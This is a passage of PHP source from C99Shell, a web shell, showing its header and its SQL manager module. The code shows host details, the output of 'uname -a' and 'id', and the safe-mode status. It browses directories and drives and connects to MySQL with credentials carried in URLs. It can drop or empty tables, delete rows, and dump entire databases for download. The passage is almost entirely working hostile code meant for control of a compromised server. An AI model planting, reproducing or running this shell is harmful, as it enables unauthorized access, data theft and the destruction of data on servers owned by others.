if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg); //FFFFFF
@ini_set("highlight.comment",$highlight_comment); //#FF8000
@ini_set("highlight.default",$highlight_default); //#0000BB
@ini_set("highlight.html",$highlight_html); //#000000
@ini_set("highlight.keyword",$highlight_keyword); //#007700
@ini_set("highlight.string",$highlight_string); //#DD0000
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
 $t = "";
 $j = 0;
 foreach ($e as $r)
 {
  $t.= $r.DIRECTORY_SEPARATOR;
  if ($j == $i) {break;}
  $j++;
 }
 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
 $i++;
}
echo "&nbsp;&nbsp;&nbsp;";
if (is_writable($d))
{
 $wd = TRUE;
 $wdt = "<font color=green>[ ok ]</font>";
 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else
{
 $wd = FALSE;
 $wdt = "<font color=red>[ Read-Only ]</font>";
 echo "<b>".view_perms_color($d)."</b>";
}
if (is_callable("disk_free_space"))
{
 $free = disk_free_space($d);
 $total = disk_total_space($d);
 if ($free === FALSE) {$free = 0;}
 if ($total === FALSE) {$total = 0;}
 if ($free < 0) {$free = 0;}
 if ($total < 0) {$total = 0;}
 $used = $total-$free;
 $free_percent = round(100/($total/$free),2);
 echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
}
echo "<br>";
$letters = "";
if ($win)
{
 $v = explode("\\",$d);
 $v = $v[0];
 foreach (range("a","z") as $letter)
 {
  $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  if (!$bool) {$bool = is_dir($letter.":\\");}
  if ($bool)
  {
   $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
   if ($letter.":" != $v) {$letters .= $letter;}
   else {$letters .= "<font color=green>".$letter."</font>";}
   $letters .= " ]</a> ";
  }
 }
 if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
 foreach($quicklaunch as $item)
 {
  $item[1] = str_replace("%d",urlencode($d),$item[1]);
  $item[1] = str_replace("%sort",$sort,$item[1]);
  $v = realpath($d."..");
  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
 }
}
echo "</p></td></tr></table><br>";
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
if ($act == "") {$act = $dspact = "ls";}
if ($act == "sql")
{
 $sql_surl = $surl."act=sql";
 if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
 if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
 if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
 $sql_surl .= "&";
 ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
 if ($sql_server)
 {
  $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  $err = mysql_smarterror();
  @mysql_select_db($sql_db,$sql_sock);
  if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
 }
 else {$sql_sock = FALSE;}
 echo "<b>SQL Manager:</b><br>";
 if (!$sql_sock)
 {
  if (!$sql_server) {echo "NO CONNECTION";}
  else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
 }
 else
 {
  $sqlquicklaunch = array();
  $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  echo "</center>";
 }
 echo "</td></tr><tr>";
 if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
 else
 {
  //Start left panel
  if (!empty($sql_db))
  {
   ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
   $result = mysql_list_tables($sql_db);
   if (!$result) {echo mysql_smarterror();}
   else
   {
    echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
    $c = 0;
    while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
    if (!$c) {echo "No tables found in database.";}
   }
  }
  else
  {
   ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
   $result = mysql_list_dbs($sql_sock);
   if (!$result) {echo mysql_smarterror();}
   else
   {
    ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
    $c = 0;
    $dbs = "";
    while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
    echo "<option value=\"\">Databases (".$c.")</option>";
    echo $dbs;
   }
   ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  }
  //End left panel
  echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  //Start center panel
  $diplay = TRUE;
  if ($sql_db)
  {
   if (!is_numeric($c)) {$c = 0;}
   if ($c == 0) {$c = "no";}
   echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
   if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
   echo "</b></center>";
   $acts = array("","dump");
   if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
   elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
   elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
   elseif ($sql_tbl_act == "insert")
   {
    if ($sql_tbl_insert_radio == 1)
    {
     $keys = "";
     $akeys = array_keys($sql_tbl_insert);
     foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
     if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
     $values = "";
     $i = 0;
     foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
     if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
     $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
     $sql_act = "query";
     $sql_tbl_act = "browse";
    }
    elseif ($sql_tbl_insert_radio == 2)
    {
     $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
     $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
     $result = mysql_query($sql_query) or print(mysql_smarterror());
     $result = mysql_fetch_array($result, MYSQL_ASSOC);
     $sql_act = "query";
     $sql_tbl_act = "browse";
    }
   }
   if ($sql_act == "query")
   {
    echo "<hr size=\"1\" noshade>";
    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
    if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
   }
   if (in_array($sql_act,$acts))
   {
    ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
    if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
    if ($sql_act == "newtbl")
    {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
    }
    else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
   }
   elseif ($sql_act == "dump")
   {
    if (empty($submit))
    {
     $diplay = FALSE;
     echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
     echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
     $v = join (";",$dmptbls);
     echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
     if ($dump_file) {$tmp = $dump_file;}
     else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
     echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
     echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
     echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
     echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
     echo "</form>";
    }
    else
    {
     $diplay = TRUE;
     $set = array();
     $set["sock"] = $sql_sock;
     $set["db"] = $sql_db;
     $dump_out = "download";
     $set["print"] = 0;
     $set["nl2br"] = 0;
     $set[""] = 0;
     $set["file"] = $dump_file;
     $set["add_drop"] = TRUE;
     $set["onlytabs"] = array();
     if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
     $ret = mysql_dump($set);
     if ($sql_dump_download)
     {
      @ob_clean();
      header("Content-type: application/octet-stream");
      header("Content-length: ".strlen($ret));
      header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
      echo $ret;
      exit;
     }
     elseif ($sql_dump_savetofile)
     {
      $fp = fopen($sql_dump_file,"w");
      if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
      else
      {
       fwrite($fp,$ret);
       fclose($fp);
       echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
      }
     }
     else {echo "<b>Dump: nothing to do!</b>";}
    }
   }
   if ($diplay)
   {
    if (!empty($sql_tbl))
    {
     if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
     $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
     $count_row = mysql_fetch_array($count);
     mysql_free_result($count);
     $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
     $tbl_struct_fields = array();
     while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
     if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
     if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
     if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
     if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
     $perpage = $sql_tbl_le - $sql_tbl_ls;
     if (!is_numeric($perpage)) {$perpage = 10;}
     $numpages = $count_row[0]/$perpage;
     $e = explode(" ",$sql_order);
     if (count($e) == 2)
     {
      if ($e[0] == "d") {$asc_desc = "DESC";}
      else {$asc_desc = "ASC";}
      $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
     }
     else {$v = "";}
     $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
     $result = mysql_query($query) or print(mysql_smarterror());
     echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
     if ($sql_tbl_act == "insert")
     {
      if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
      if (!empty($sql_tbl_insert_radio))
      {

      }
      else
      {
       echo "<br><br><b>Inserting row into table:</b><br>";
       if (!empty($sql_tbl_insert_q))
       {
        $sql_query = "SELECT * FROM `".$sql_tbl."`";
        $sql_query .= " WHERE".$sql_tbl_insert_q;
        $sql_query .= " LIMIT 1;";
        $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
        $values = mysql_fetch_assoc($result);
        mysql_free_result($result);
       }
       else {$values = array();}
       echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
       foreach ($tbl_struct_fields as $field)
       {
        $name = $field["Field"];
        if (empty($sql_tbl_insert_q)) {$v = "";}
        echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
        $i++;
       }
       echo "</table><br>";
       echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
       if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
       echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
      }
     }
     if ($sql_tbl_act == "browse")
     {
      $sql_tbl_ls = abs($sql_tbl_ls);
      $sql_tbl_le = abs($sql_tbl_le);
      echo "<hr size=\"1\" noshade>";
      echo "[Pages]&nbsp;";
      $b = 0;
      for($i=0;$i<$numpages;$i++)
      {
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
       echo $i;
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
       if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
       else {echo "&nbsp;";}
      }
      if ($i == 0) {echo "empty";}
